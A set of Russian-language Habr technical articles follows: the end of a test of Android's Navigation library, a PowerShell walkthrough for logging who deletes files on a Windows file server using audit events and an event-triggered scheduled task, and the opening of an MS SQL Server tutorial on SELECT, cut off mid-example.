*Могу предположить, что это происходит из-за того, что фрагмент менеджер внутри сохранил транзакцию с B на первый инстанс F, а мы его уже сменили на новый, который не будет ему известен.*
**6.** Отдельный флоу из двух экранов работает прекрасно, но проблема в том, что нельзя явно описать поведение, что из второго экрана этого флоу надо вернуться на запустивший экран!
Здесь мы подошли к важному свойству UI-графа: **на графе нельзя описать переходы назад! Все стрелки — это создание нового экрана и переход на него!**
То есть чтобы сделать переход «назад» по стеку, надо обязательно работать с кодом. Самое простое решение для нашего случая — это вызвать два раза подряд `popBackStack()`, новая навигация здесь ничем не помогает. А для более сложных флоу надо будет выдумывать другие решения.
```
Navigation.findNavController(view).apply {
popBackStack()
popBackStack()
}
```
**7.** Заменить экран C на D можно, указав в свойствах перехода
```
app:popUpTo="@+id/BFragment"
```
как видите, здесь мы **жестко завязали логику перехода** между C и D на предыдущий экран B. Тоже не самое лучшее место в новой библиотеке.
**8.** Аналогично и с переходом с E на D — добавляем `app:popUpTo="@+id/BFragment"`, и работает как мы хотели, но с привязкой к экрану B
**9.** Как я объяснил выше, возвратов на UI-графе нет. Поэтому возврат с экрана E на экран B можно сделать только из кода, вызвав `popBackStack(R.id.BFragment)` до необходимого экрана. Но если вам *не обязательно именно вернуться* на экран B, а допустимо создать новый экран B, то делается это переходом на UI-графе с установкой двух параметров:
```
app:popUpTo="@+id/BFragment"
app:popUpToInclusive="true"
```
Таким образом будет скинут стек до экрана B, включая его самого, а потом сверху создан новый экран B.
**В реальных проектах такая логика конечно не подойдет**, но как возможность — интересно.
**10.** Возврат на экран A, как вы уже поняли, невозможно описать на графе. Надо делать его из кода. Но по примеру предыдущего кейса, можно скинуть все экраны и создать новый экран A в корне. Для этого создаем переход из D на A и добавляем специальное свойство
```
app:clearTask="true"
```
Теперь при вызове такого перехода, сначала будет очищен весь стек фрагментов.
Остался один неизученный параметр из UI редактора навигации:
```
app:launchDocument="true"
```
Я так и не понял его предназначение, а скорее всего он просто не работает так, как заявлено в документации:
> Launch a navigation target as a document if you want it to appear as its own entry in the system Overview screen. If the same document is launched multiple times it will not create a new task, it will bring the existing document task to the front.
>
>
>
> If the user presses the system Back key from a new document task they will land on their previous task. If the user reached the document task from the system Overview screen they will be taken to their home screen.
### Выводы
Из моих экспериментов и небольшого изучения исходников можно сделать вывод: новая навигация — это просто UI обертка работы с фрагмент менеджером (для случая приложения в одном Activity). Всем стрелкам-переходам выдается уникальный ID и набор параметров, по которым совершается транзакция фрагментов на старом «добром» фрагмент менеджере. Библиотека еще в глубокой альфе, но уже сейчас заметны баги, которые прямо указывают на известные проблемы фрагмент менеджера.
Если нам надо как-то повлиять на стек фрагментов и сделать возврат дальше предыдущего экрана, то придется работать по старинке с фрагмент менеджером.
Если вызвать навигацию при свернутом приложении, приложение упадет с классическим
`java.lang.IllegalStateException: Can not perform this action after onSaveInstanceState`
Чтобы совершить навигацию нужен доступ к view для поиска navController
`Navigation.findNavController(view)`
Именно эти проблемы и решает библиотека [Cicerone](https://github.com/terrakok/Cicerone), поэтому сравнивать их мало смысла. Зато можно объединить! Потому что у Google-навигации есть и полезные стороны:
* **Визуальный граф.** Для небольших проектов может быть очень полезной подсказкой.
* **Описание входных параметров** экрана и проверка без запуска приложения прямо в студии.
Для этого надо подключить дополнительный [Gradle плагин](https://developer.android.com/topic/libraries/architecture/adding-components#safe_args) и описывать обязательные параметры в xml свойствах экрана.
```
```
* Привязка **Deep Link** к запуску любого экрана из графа.
Мне не удалось проверить эту фичу, но есть подозрение, что она так же сделана в лоб, поэтому просто будет другой корневой экран, а не полная цепочка экранов, как хотелось бы. Но это не точно.
* Возможность создавать **переиспользуемые части графа** — “Nested Graph”. То есть выносить некоторую часть графа во вложенный граф, который можно запускать из нескольких мест.
### Тестовый проект
Все эксперименты можно посмотреть и потрогать [на Github](https://github.com/terrakok/google-navigation-test) | https://habr.com/ru/post/359282/ | null | ru | null |
# Отслеживаем удаление файлов на PowerShell
Привет, Хабр! Тема моего поста уже поднималась здесь, но мне есть, что добавить.
Когда наше файловое хранилище разменяло третий терабайт, все чаще наш отдел стал получать просьбы выяснить, кто удалил важный документ или целую папку с документами. Нередко это происходит по чьему-то злому умыслу. Бэкапы — это хорошо, но страна должна знать своих героев. А молоко вдвойне вкусней, когда мы можем написать его на PowerShell.
Пока разбирался, решил записать для коллег по цеху, а потом подумал, что может пригодиться кому-то еще. Материал получился смешанный. Кто-то найдет для себя готовое решение, кому-то пригодятся несколько неочевидные методы работы с PowerShell или планировщиком задач, а кто-то проверит на быстродействие свои скрипты.
В процессе поиска решения задачи прочитал [статью](http://habrahabr.ru/post/150149/) за авторством [Deks](http://habrahabr.ru/users/deks/). Решил взять ее за основу, но некоторые моменты меня не устраивали.
* Во-первых, время генерации отчета за четыре часа на 2-терабайтном хранилище, с которым одновременно работает около 200 человек, составило около пяти минут. И это притом, что лишнего у нас в логи не пишется. Это меньше, чем у Deks, но больше, чем хотелосю бы, потому что...
* Во-вторых, все то же самое нужно было реализовать еще на двадцати серверах, гораздо менее производительных, чем основной.
* В-третьих, вызывал вопросы график запуска генерации отчетов.
* И в-четвертых, хотелось исключить себя из процесса доставки собранной информации конечным потребителям (читай: автоматизировать, чтобы мне с этим вопросом больше не звонили).
##### **Но ход мыслей Deks мне понравился...**
Краткий дискурс: При включенном аудите файловой системы в момент удаления файла в журнале безопасности создаются два события, с кодами 4663 и, следом, 4660. Первое записывает попытку запроса доступа на удаление, данные о пользователе и пути к удаляемому файлу, а второе — фиксирует свершившийся факт удаления. У событий есть уникальный идентификатор EventRecordID, который отличается на единицу у этих двух событий.
Ниже приведен исходный скрипт, собирающий информацию об удаленных файлах и пользователях, их удаливших.
```
$time = (get-date) - (new-timespan -min 240)
$Events = Get-WinEvent -FilterHashtable @{LogName="Security";ID=4660;StartTime=$time} | Select TimeCreated,@{n="Запись";e={([xml]$_.ToXml()).Event.System.EventRecordID}} |sort Запись
$BodyL = ""
$TimeSpan = new-TimeSpan -sec 1
foreach($event in $events){
$PrevEvent = $Event.Запись
$PrevEvent = $PrevEvent - 1
$TimeEvent = $Event.TimeCreated
$TimeEventEnd = $TimeEvent+$TimeSpan
$TimeEventStart = $TimeEvent- (new-timespan -sec 1)
$Body = Get-WinEvent -FilterHashtable @{LogName="Security";ID=4663;StartTime=$TimeEventStart;EndTime=$TimeEventEnd} |where {([xml]$_.ToXml()).Event.System.EventRecordID -match "$PrevEvent"}|where{ ([xml]$_.ToXml()).Event.EventData.Data |where {$_.name -eq "ObjectName"}|where {($_.'#text') -notmatch ".*tmp"} |where {($_.'#text') -notmatch ".*~lock*"}|where {($_.'#text') -notmatch ".*~$*"}} |select TimeCreated, @{n="Файл_";e={([xml]$_.ToXml()).Event.EventData.Data | ? {$_.Name -eq "ObjectName"} | %{$_.'#text'}}},@{n="Пользователь_";e={([xml]$_.ToXml()).Event.EventData.Data | ? {$_.Name -eq "SubjectUserName"} | %{$_.'#text'}}}
if ($Body -match ".*Secret*"){
$BodyL=$BodyL+$Body.TimeCreated+"`t"+$Body.Файл_+"`t"+$Body.Пользователь_+"`n"
}
}
$Month = $Time.Month
$Year = $Time.Year
$name = "DeletedFiles-"+$Month+"-"+$Year+".txt"
$Outfile = "\serverServerLogFilesDeletedFilesLog"+$name
$BodyL | out-file $Outfile -append
```
С помощью команды Measure-Command получили следующее:
```
Measure-Command {
...
} | Select-Object TotalSeconds | Format-List
...
TotalSeconds : 313,6251476
```
Многовато, на вторичных ФС будет дольше. Сходу очень не понравился десятиэтажный пайп, поэтому для начала я его структурировал:
```
Get-WinEvent -FilterHashtable @{
LogName="Security";ID=4663;StartTime=$TimeEventStart;EndTime=$TimeEventEnd
} `
| Where-Object {([xml]$_.ToXml()).Event.System.EventRecordID -match "$PrevEvent"} `
| Where-Object {([xml]$_.ToXml()).Event.EventData.Data `
| Where-Object {$_.name -eq "ObjectName"} `
| Where-Object {($_.'#text') -notmatch ".*tmp"} `
| Where-Object {($_.'#text') -notmatch ".*~lock*"} `
| Where-Object {($_.'#text') -notmatch ".*~$*"}
}
| Select-Object TimeCreated,
@{
n="Файл_";
e={([xml]$_.ToXml()).Event.EventData.Data `
| Where-Object {$_.Name -eq "ObjectName"} `
| ForEach-Object {$_.'#text'}
}
},
@{
n="Пользователь_";
e={([xml]$_.ToXml()).Event.EventData.Data `
| Where-Object {$_.Name -eq "SubjectUserName"} `
| ForEach-Object {$_.'#text'}
}
}
```
Получилось уменьшить этажность пайпа и убрать перечисления Foreach, а заодно сделать код более читаемым, но большого эффекта это не дало, разница в пределах погрешности:
```
Measure-Command {
$time = (Get-Date) - (New-TimeSpan -min 240)
$Events = Get-WinEvent -FilterHashtable @{LogName="Security";ID=4660;StartTime=$time}`
| Select TimeCreated,@{n="EventID";e={([xml]$_.ToXml()).Event.System.EventRecordID}}`
| Sort-Object EventID
$DeletedFiles = @()
$TimeSpan = new-TimeSpan -sec 1
foreach($Event in $Events){
$PrevEvent = $Event.EventID
$PrevEvent = $PrevEvent - 1
$TimeEvent = $Event.TimeCreated
$TimeEventEnd = $TimeEvent+$TimeSpan
$TimeEventStart = $TimeEvent- (New-TimeSpan -sec 1)
$DeletedFiles += Get-WinEvent -FilterHashtable @{LogName="Security";ID=4663;StartTime=$TimeEventStart;EndTime=$TimeEventEnd} `
| Where-Object {`
([xml]$_.ToXml()).Event.System.EventRecordID -match "$PrevEvent" `
-and (([xml]$_.ToXml()).Event.EventData.Data `
| where {$_.name -eq "ObjectName"}).'#text' `
-notmatch ".*tmp$|.*~lock$|.*~$*"
} `
| Select-Object TimeCreated,
@{n="FilePath";e={
(([xml]$_.ToXml()).Event.EventData.Data `
| Where-Object {$_.Name -eq "ObjectName"}).'#text'
}
},
@{n="UserName";e={
(([xml]$_.ToXml()).Event.EventData.Data `
| Where-Object {$_.Name -eq "SubjectUserName"}).'#text'
}
} `
}
} | Select-Object TotalSeconds | Format-List
$DeletedFiles | Format-Table UserName,FilePath -AutoSize
...
TotalSeconds : 302,6915627
```
Пришлось немного подумать головой. Какие операции занимают больше всего времени? Можно было бы натыкать еще десяток Measure-Command, но в общем-то в данном случае и так очевидно, что больше всего времени тратится на запросы в журнал (это не самая быстрая процедура даже в MMC) и на повторяющиеся конвертации в XML (к тому же, в случае с EventRecordID это и вовсе необязательно). Попробуем сделать и то и другое по одному разу, а заодно исключить промежуточные переменные:
```
Measure-Command {
$time = (Get-Date) - (New-TimeSpan -min 240)
$Events = Get-WinEvent -FilterHashtable @{LogName="Security";ID=4660,4663;StartTime=$time}`
| Select TimeCreated,ID,RecordID,@{n="EventXML";e={([xml]$_.ToXml()).Event.EventData.Data}}`
| Sort-Object RecordID
$DeletedFiles = @()
foreach($Event in ($Events | Where-Object {$_.Id -EQ 4660})){
$DeletedFiles += $Events `
| Where-Object {`
$_.Id -eq 4663 `
-and $_.RecordID -eq ($Event.RecordID - 1) `
-and ($_.EventXML | where Name -eq "ObjectName").'#text'`
-notmatch ".*tmp$|.*~lock$|.*~$"
} `
| Select-Object `
@{n="RecordID";e={$Event.RecordID}}, TimeCreated,
@{n="ObjectName";e={($_.EventXML | where Name -eq "ObjectName").'#text'}},
@{n="UserName";e={($_.EventXML | where Name -eq "SubjectUserName").'#text'}}
}
} | Select-Object TotalSeconds | Format-List
$DeletedFiles | Sort-Object UserName,TimeDeleted | Format-Table -AutoSize -HideTableHeaders
...
TotalSeconds : 167,7099384
```
А вот это уже результат. Ускорение практически в два раза!
#### **Автоматизируем**
Порадовались, и хватит. Три минуты — это лучше, чем пять, но как лучше всего запускать скрипт? Раз в час? Так могут ускользнуть записи, которые появляются одновременно с запуском скрипта. Делать запрос не за час, а за 65 минут? Тогда записи могут повторяться. Да и искать потом запись о нужном файле среди тысячи логов — мутор. Писать раз в сутки? Ротация логов забудет половину. Нужно что-то более надежное. В комментариях к статье Deks кто-то говорил о приложении на дотнете, работающем в режиме службы, но это, знаете, из разряда «There are 14 competing standards»…
В планировщике заданий Windows можно создать триггер на событие в системном журнале. Вот так:
Отлично! Скрипт будет запускаться ровно в момент удаления файла, и наш журнал будет создаватья в реальном времени! Но наша радость будет неполной, если мы не сможем определить, какое событие нам нужно записать в момент запуска. Нам нужна хитрость. Их есть у нас! Недолгий гуглинг показал, что по триггеру «Событие» планировщик может передавать исполняемому файлу информацию о событии. Но делается это, мягко говоря, неочевидно. Последовательность действий такая:
1. Создать задачу с триггером типа «Event»;
2. Экспортировать задачу в формат XML (через консоль MMC);
3. Добавить в ветку «EventTrigger» новую ветвь «ValueQueries» с элементами, описывающими переменные:
```
...
Event/System/EventRecordID
```
где «eventRecordID» — название переменной, которую можно будет передать скрипту, а «Event/System/EventRecordID» — элемент схемы журнала Windows, с которой можно ознакомиться по ссылке внизу статьи. В данном случае это элемент с уникальным номером события.
4. Импортировать задание обратно в планировщик.
Но мы же не хотим натыкивать все это мышкой на 20 серверах, верно? Нужно автоматизировать. К сожалению, PowerShell не всесилен, и командлет New-ScheduledTaskTrigger пока что не умеет создавать триггеры типа Event. Поэтому применим чит-код и создадим задачу через COM-объект (пока что достаточно часто приходится прибегать к COM, хотя штатные командлеты умеют все больше и больше c каждой новой версией PS):
```
$scheduler = New-Object -ComObject "Schedule.Service"
$scheduler.Connect("localhost")
$rootFolder = $scheduler.GetFolder("\")
$taskDefinition = $scheduler.NewTask(0)
```
Нужно обязательно разрешить одновременный запуск нескольких экземпляров, а также, как мне кажется, стоит запретить ручной запуск и задать лимит времени выполнения:
```
$taskDefinition.Settings.Enabled = $True
$taskDefinition.Settings.Hidden = $False
$taskDefinition.Principal.RunLevel = 0 # 0 - обычные привилегии, 1 - повышенные привилегии
$taskDefinition.Settings.MultipleInstances = $True
$taskDefinition.Settings.AllowDemandStart = $False
$taskDefinition.Settings.ExecutionTimeLimit = "PT5M"
```
Создадим триггер типа 0 (Event). Далее задаем XML-запрос для получения нужных нам событий. Код XML-запроса можно получить в консоли MMC «Журнал событий», выбрав необходимые параметры и переключившись на вкладку «XML»:
```
$Trigger = $taskDefinition.Triggers.Create(0)
$Trigger.Subscription = '
\*[System[Provider[@Name="Microsoft-Windows-Security-Auditing"] and EventID=4660]]
'
```
Главная хитрость: указываем переменную, которую нужно передать скрипту.
```
$Trigger.ValueQueries.Create("eventRecordID", "Event/System/EventRecordID")
```
Собственно, описание выполняемой команды:
```
$Action = $taskDefinition.Actions.Create(0)
$Action.Path = 'PowerShell.exe'
$Action.WorkingDirectory = 'C:\Temp'
$Action.Arguments = '.\ParseDeleted.ps1 $(eventRecordID) C:\Temp\DeletionLog.log'
```
И — взлетаем!
```
$rootFolder.RegisterTaskDefinition("Log Deleted Files", $taskDefinition, 6, 'SYSTEM', $null, 5)
```
#### **«Концепция поменялась»**
Вернемся к скрипту для записи логов. Теперь нам не надо получать все события, а нужно доставать одно-единственное, да еще переданное в качестве аргумента. Для этого мы допишем заголовки, превращающие скрипт в командлет с параметрами. До кучи — сделаем возможным изменять путь к логу «на лету», авось, пригодится:
```
[CmdletBinding()]
Param(
[Parameter(Mandatory=$True,Position=1)]$RecordID,
[Parameter(Mandatory=$False,Position=2)]$LogPath = "C:\DeletedFiles.log"
)
```
Дальше возникает нюанс: до сего момента мы получали события командлетом Get-WinEvent и фильтровали параметром -FilterHashtable. Он понимает ограниченный набор атрибутов, в который не входит EventRecordID. Поэтому фильтровать мы будем через параметр -FilterXml, мы же теперь и это умеем!
```
$XmlQuery="
\*[System[(EventID=4663) and (EventRecordID=$($RecordID - 1))]]
"
$Event = Get-WinEvent -FilterXml $XmlQuery `
| Select TimeCreated,ID,RecordID,@{n="EventXML";e={([xml]$_.ToXml()).Event.EventData.Data}}`
```
Теперь нам больше не нужно перечисление Foreach-Object, поскольку обрабатывается всего одно событие. Не два, потому что событие с кодом 4660 используется только для того, чтобы инициировать скрипт, полезной информации оно в себе не несет.
Помните, в начале я хотел, чтобы пользователи могли без моего участия узнатьзлодея? Так вот, в случае, если файл удален в папке документов какого-либо отдела — пишем лог также в корень папки отдела.
```
$EventLine = ""
if (($Event.EventXML | where Name -eq "ObjectName").'#text' -notmatch ".*tmp$|.*~lock$|.*~$"){
$EventLine += "$($Event.TimeCreated)`t"
$EventLine += "$($Event.RecordID)`t"
$EventLine += ($Event.EventXML | where Name -eq "SubjectUserName").'#text' + "`t"
$EventLine += ($ObjectName = ($Event.EventXML | where Name -eq "ObjectName").'#text')
if ($ObjectName -match "Documents\Подразделения"){
$OULogPath = $ObjectName `
-replace "(.*Documents\\Подразделения\\[^\\]*\\)(.*)",'$1\DeletedFiles.log'
if (!(Test-Path $OULogPath)){
"DeletionDate`tEventID`tUserName`tObjectPath"| Out-File -FilePath $OULogPath
}
$EventLine | Out-File -FilePath $OULogPath -Append
}
if (!(Test-Path $LogPath)){
"DeletionDate`tEventID`tUserName`tObjectPath" | Out-File -FilePath $LogPath }
$EventLine | Out-File -FilePath $LogPath -Append
}
```
##### **Итоговый командлет**
Ну вот, кусочки нарезаны, осталось собрать все воедино и еще чуть-чуть оптимизировать. Получится как-то так:
```
[CmdletBinding()]
Param(
[Parameter(Mandatory=$True,Position=1,ParameterSetName='logEvent')][int]$RecordID,
[Parameter(Mandatory=$False,Position=2,ParameterSetName='logEvent')]
[string]$LogPath = "$PSScriptRoot\DeletedFiles.log",
[Parameter(ParameterSetName='install')][switch]$Install
)
if ($Install) {
$service = New-Object -ComObject "Schedule.Service"
$service.Connect("localhost")
$rootFolder = $service.GetFolder("\")
$taskDefinition = $service.NewTask(0)
$taskDefinition.Settings.Enabled = $True
$taskDefinition.Settings.Hidden = $False
$taskDefinition.Settings.MultipleInstances = $True
$taskDefinition.Settings.AllowDemandStart = $False
$taskDefinition.Settings.ExecutionTimeLimit = "PT5M"
$taskDefinition.Principal.RunLevel = 0
$trigger = $taskDefinition.Triggers.Create(0)
$trigger.Subscription = '
\*[System[Provider[@Name="Microsoft-Windows-Security-Auditing"] and EventID=4660]]
'
$trigger.ValueQueries.Create("eventRecordID", "Event/System/EventRecordID")
$Action = $taskDefinition.Actions.Create(0)
$Action.Path = 'PowerShell.exe'
$Action.WorkingDirectory = $PSScriptRoot
$Action.Arguments = '.\' + $MyInvocation.MyCommand.Name + ' $(eventRecordID) ' + $LogPath
$rootFolder.RegisterTaskDefinition("Log Deleted Files", $taskDefinition, 6, 'SYSTEM', $null, 5)
} else {
$XmlQuery="
\*[System[(EventID=4663) and (EventRecordID=$($RecordID - 1))]]
"
$Event = Get-WinEvent -FilterXml $XmlQuery `
| Select TimeCreated,ID,RecordID,@{n="EventXML";e={([xml]$_.ToXml()).Event.EventData.Data}}
if (($ObjectName = ($Event.EventXML | where Name -eq "ObjectName").'#text') `
-notmatch ".*tmp$|.*~lock$|.*~$"){
$EventLine = "$($Event.TimeCreated)`t" + "$($Event.RecordID)`t" `
+ ($Event.EventXML | where Name -eq "SubjectUserName").'#text' + "`t" `
+ $ObjectName
if ($ObjectName -match ".*Documents\\Подразделения\\[^\\]*\\"){
$OULogPath = $Matches[0] + '\DeletedFiles.log'
if (!(Test-Path $OULogPath)){
"DeletionDate`tEventID`tUserName`tObjectPath"| Out-File -FilePath $OULogPath
}
$EventLine | Out-File -FilePath $OULogPath -Append
}
if (!(Test-Path $LogPath)){
"DeletionDate`tEventID`tUserName`tObjectPath" | Out-File -FilePath $LogPath }
$EventLine | Out-File -FilePath $LogPath -Append
}
}
```
Осталось поместить скрипт в удобное для вас место и запустить с ключом -Install.
Теперь сотрудники любого отдела могут в реальном времени видеть, кто, что и когда удалил из их каталогов. Отмечу, что я не стал рассматривать здесь права доступа к файлам логов (чтобы злодей не мог их удалить) и ротацию. Структура и права доступа к каталогам на нашем файлере тянут на отдельную статью, а ротация в какой-то степени усложнит поиск нужной строки.
##### **Использованные материалы:**
— [Прекраснейший справочник по регулярным выражениям](http://www.powershellcookbook.com/recipe/qAxK/appendix-b-regular-expression-reference)
— [Туториал по созданию задачи, привязанной к событию](http://blogs.technet.com/b/otto/archive/2011/08/24/trigger-a-powershell-script-from-a-windows-event.aspx)
— [Описание скриптового API планировщика заданий](http://msdn.microsoft.com/en-us/library/windows/desktop/aa383607(v=vs.85).aspx)
**UPD:** В итоговом скрипте была опечатка, после строки 41 был лишний гравис. За обнаружение благодарность читателю Хабра **Руслану Султанову**. | https://habr.com/ru/post/238469/ | null | ru | null |
# Учебник по языку SQL (DDL, DML) на примере диалекта MS SQL Server. Часть вторая
Вступление и DDL – Data Definition Language (язык описания данных)
------------------------------------------------------------------
Часть первая — [habrahabr.ru/post/255361](http://habrahabr.ru/post/255361/)
DML – Data Manipulation Language (язык манипулирования данными)
---------------------------------------------------------------
В первой части мы уже немного затронули язык DML, применяя почти весь набор его команд, за исключением команды MERGE.
Рассказывать про DML я буду по своей последовательности выработанной на личном опыте. По ходу, так же постараюсь рассказать про «скользкие» места, на которые стоит акцентировать внимание, эти «скользкие» места, схожи во многих диалектах языка SQL.
Т.к. учебник посвящается широкому кругу читателей (не только программистам), то и объяснение, порой будет соответствующее, т.е. долгое и нудное. Это мое видение материала, которое в основном получено на практике в результате профессиональной деятельности.
Основная цель данного учебника, шаг за шагом, выработать полное понимание сути языка SQL и научить правильно применять его конструкции. Профессионалам в этой области, может тоже будет интересно пролистать данный материал, может и они смогут вынести для себя что-то новое, а может просто, будет полезно почитать в целях освежить память. Надеюсь, что всем будет интересно.
Т.к. DML в диалекте БД MS SQL очень сильно связан с синтаксисом конструкции SELECT, то я начну рассказывать о DML именно с нее. На мой взгляд конструкция SELECT является самой главной конструкцией языка DML, т.к. за счет нее или ее частей осуществляется выборка необходимых данных из БД.
Язык DML содержит следующие конструкции:
* SELECT – выборка данных
* INSERT – вставка новых данных
* UPDATE – обновление данных
* DELETE – удаление данных
* MERGE – слияние данных
В данной части, мы рассмотрим, только базовый синтаксис команды SELECT, который выглядит следующим образом:
```
SELECT [DISTINCT] список_столбцов или *
FROM источник
WHERE фильтр
ORDER BY выражение_сортировки
```
Тема оператора SELECT очень обширная, поэтому в данной части я и остановлюсь только на его базовых конструкциях. Я считаю, что, не зная хорошо базы, нельзя приступать к изучению более сложных конструкций, т.к. дальше все будет крутиться вокруг этой базовой конструкции (подзапросы, объединения и т.д.).
Также в рамках этой части, я еще расскажу о предложении TOP. Это предложение я намерено не указал в базовом синтаксисе, т.к. оно реализуется по-разному в разных диалектах языка SQL.
Если язык DDL больше статичен, т.е. при помощи него создаются жесткие структуры (таблицы, связи и т.п.), то язык DML носит динамический характер, здесь правильные результаты вы можете получить разными путями.
Обучение так же будет продолжаться в режиме Step by Step, т.е. при чтении нужно сразу же своими руками пытаться выполнить пример. После делаете анализ полученного результата и пытаетесь понять его интуитивно. Если что-то остается непонятным, например, значение какой-нибудь функции, то обращайтесь за помощью в интернет.
Примеры будут показываться на БД Test, которая была создана при помощи DDL+DML в первой части.
Для тех, кто не создавал БД в первой части (т.к. не всех может интересовать язык DDL), может воспользоваться следующим скриптом:
**Скрипт создания БД Test**
```
-- создание БД
CREATE DATABASE Test
GO
-- сделать БД Test текущей
USE Test
GO
-- создаем таблицы справочники
CREATE TABLE Positions(
ID int IDENTITY(1,1) NOT NULL CONSTRAINT PK_Positions PRIMARY KEY,
Name nvarchar(30) NOT NULL
)
CREATE TABLE Departments(
ID int IDENTITY(1,1) NOT NULL CONSTRAINT PK_Departments PRIMARY KEY,
Name nvarchar(30) NOT NULL
)
GO
-- заполняем таблицы справочники данными
SET IDENTITY_INSERT Positions ON
INSERT Positions(ID,Name)VALUES
(1,N'Бухгалтер'),
(2,N'Директор'),
(3,N'Программист'),
(4,N'Старший программист')
SET IDENTITY_INSERT Positions OFF
GO
SET IDENTITY_INSERT Departments ON
INSERT Departments(ID,Name)VALUES
(1,N'Администрация'),
(2,N'Бухгалтерия'),
(3,N'ИТ')
SET IDENTITY_INSERT Departments OFF
GO
-- создаем таблицу с сотрудниками
CREATE TABLE Employees(
ID int NOT NULL,
Name nvarchar(30),
Birthday date,
Email nvarchar(30),
PositionID int,
DepartmentID int,
HireDate date NOT NULL CONSTRAINT DF_Employees_HireDate DEFAULT SYSDATETIME(),
ManagerID int,
CONSTRAINT PK_Employees PRIMARY KEY (ID),
CONSTRAINT FK_Employees_DepartmentID FOREIGN KEY(DepartmentID) REFERENCES Departments(ID),
CONSTRAINT FK_Employees_PositionID FOREIGN KEY(PositionID) REFERENCES Positions(ID),
CONSTRAINT FK_Employees_ManagerID FOREIGN KEY (ManagerID) REFERENCES Employees(ID),
CONSTRAINT UQ_Employees_Email UNIQUE(Email),
CONSTRAINT CK_Employees_ID CHECK(ID BETWEEN 1000 AND 1999),
INDEX IDX_Employees_Name(Name)
)
GO
-- заполняем ее данными
INSERT Employees (ID,Name,Birthday,Email,PositionID,DepartmentID,ManagerID)VALUES
(1000,N'Иванов И.И.','19550219','i.ivanov@test.tt',2,1,NULL),
(1001,N'Петров П.П.','19831203','p.petrov@test.tt',3,3,1003),
(1002,N'Сидоров С.С.','19760607','s.sidorov@test.tt',1,2,1000),
(1003,N'Андреев А.А.','19820417','a.andreev@test.tt',4,3,1000)
```
Все, теперь мы готовы приступить к изучению языка DML.
SELECT – оператор выборки данных
--------------------------------
Первым делом, для активного редактора запроса, сделаем текущей БД Test, выбрав ее в выпадающем списке или же командой «USE Test».
Начнем с самой элементарной формы SELECT:
```
SELECT *
FROM Employees
```
В данном запросе мы просим вернуть все столбцы (на это указывает «\*») из таблицы Employees – можно прочесть это как «ВЫБЕРИ все\_поля ИЗ таблицы\_сотрудники». В случае наличия кластерного индекса, возвращенные данные, скорее всего будут отсортированы по нему, в данном случае по колонке ID (но это не суть важно, т.к. в большинстве случаев сортировку мы будем указывать в явном виде сами при помощи ORDER BY …):
| ID | Name | Birthday | Email | PositionID | DepartmentID | HireDate | ManagerID |
| --- | --- | --- | --- | --- | --- | --- | --- |
| 1000 | Иванов И.И. | 1955-02-19 | i.ivanov@test.tt | 2 | 1 | 2015-04-08 | NULL |
| 1001 | Петров П.П. | 1983-12-03 | p.petrov@test.tt | 3 | 3 | 2015-04-08 | 1003 |
| 1002 | Сидоров С.С. | 1976-06-07 | s.sidorov@test.tt | 1 | 2 | 2015-04-08 | 1000 |
| 1003 | Андреев А.А. | 1982-04-17 | a.andreev@test.tt | 4 | 3 | 2015-04-08 | 1000 |
Вообще стоит сказать, что в диалекте MS SQL самая простая форма запроса SELECT может не содержать блока FROM, в этом случае вы можете использовать ее, для получения каких-то значений:
```
SELECT
5550/100*15,
SYSDATETIME(), -- получение системной даты БД
SIN(0)+COS(0)
```
| (No column name) | (No column name) | (No column name) |
| --- | --- | --- |
| 825 | 2015-04-11 12:12:36.0406743 | 1 |
Обратите внимание, что выражение (5550/100\*15) дало результат 825, хотя если мы посчитаем на калькуляторе получится значение (832.5). Результат 825 получился по той причине, что в нашем выражении все числа целые, поэтому и результат целое число, т.е. (5550/100) дает нам 55, а не (55.5).
Запомните следующее, что в MS SQL работает следующая логика:
* Целое / Целое = Целое (т.е. в данном случае происходит целочисленное деление)
* Вещественное / Целое = Вещественное
* Целое / Вещественное = Вещественное
Т.е. результат преобразуется к большему типу, поэтому в 2-х последних случаях мы получаем вещественное число (рассуждайте как в математике – диапазон вещественных чисел больше диапазона целых, поэтому и результат преобразуется к нему):
```
SELECT
123/10, -- 12
123./10, -- 12.3
123/10. -- 12.3
```
Здесь (123.) = (123.0), просто в данном случае 0 можно отбросить и оставить только точку.
При других арифметических операциях действует та же самая логика, просто в случае деления этот нюанс более актуален.
Поэтому обращайте внимание на тип данных числовых столбцов. В том случае если он целый, а результат вам нужно получить вещественный, то используйте преобразование, либо просто ставьте точку после числа указанного в виде константы (123.).
Для преобразования полей можно использовать функцию CAST или CONVERT. Для примера воспользуемся полем ID, оно у нас типа int:
```
SELECT
ID,
ID/100, -- здесь произойдет целочисленное деление
CAST(ID AS float)/100, -- используем функцию CAST для преобразования в тип float
CONVERT(float,ID)/100, -- используем функцию CONVERT для преобразования в тип float
ID/100. -- используем преобразование за счет указания что знаменатель вещественное число
FROM Employees
```
| ID | (No column name) | (No column name) | (No column name) | (No column name) |
| --- | --- | --- | --- | --- |
| 1000 | 10 | 10 | 10 | 10.000000 |
| 1001 | 10 | 10.01 | 10.01 | 10.010000 |
| 1002 | 10 | 10.02 | 10.02 | 10.020000 |
| 1003 | 10 | 10.03 | 10.03 | 10.030000 |
> **На заметку.** В БД ORACLE синтаксис без блока FROM недопустим, там для этой цели используется системная таблица DUAL, которая содержит одну строку:
>
>
>
>
> ```
> SELECT
> 5550/100*15, -- а в ORACLE результат будет равен 832.5
> sysdate,
> sin(0)+cos(0)
> FROM DUAL
>
> ```
>
>
>
> **Примечание.** Имя таблицы во многих РБД может предваряться именем схемы:
>
>
>
>
> ```
> SELECT *
> FROM dbo.Employees -- dbo – имя схемы
>
> ```
>
>
>
>
> Схема – это логическая единица БД, которая имеет свое наименование и позволяет сгруппировать внутри себя объекты БД такие как таблицы, представления и т.д.
>
>
>
> Определение схемы в разных БД может отличатся, где-то схема непосредственно связанна с пользователем БД, т.е. в данном случае можно сказать, что схема и пользователь – это синонимы и все создаваемые в схеме объекты по сути являются объектами данного пользователя. В MS SQL схема – это независимая логическая единица, которая может быть создана сама по себе (см. CREATE SCHEMA).
>
>
>
> По умолчанию в базе MS SQL создается одна схема с именем dbo (Database Owner) и все создаваемые объекты по умолчанию создаются именно в данной схеме. Соответственно, если мы в запросе указываем просто имя таблицы, то она будет искаться в схеме dbo текущей БД. Если мы хотим создать объект в конкретной схеме, мы должны будем так же предварить имя объекта именем схемы, например, «CREATE TABLE имя\_схемы.имя\_таблицы(…)».
>
>
>
> В случае MS SQL имя схемы может еще предваряться именем БД, в которой находится данная схема:
>
>
>
>
> ```
> SELECT *
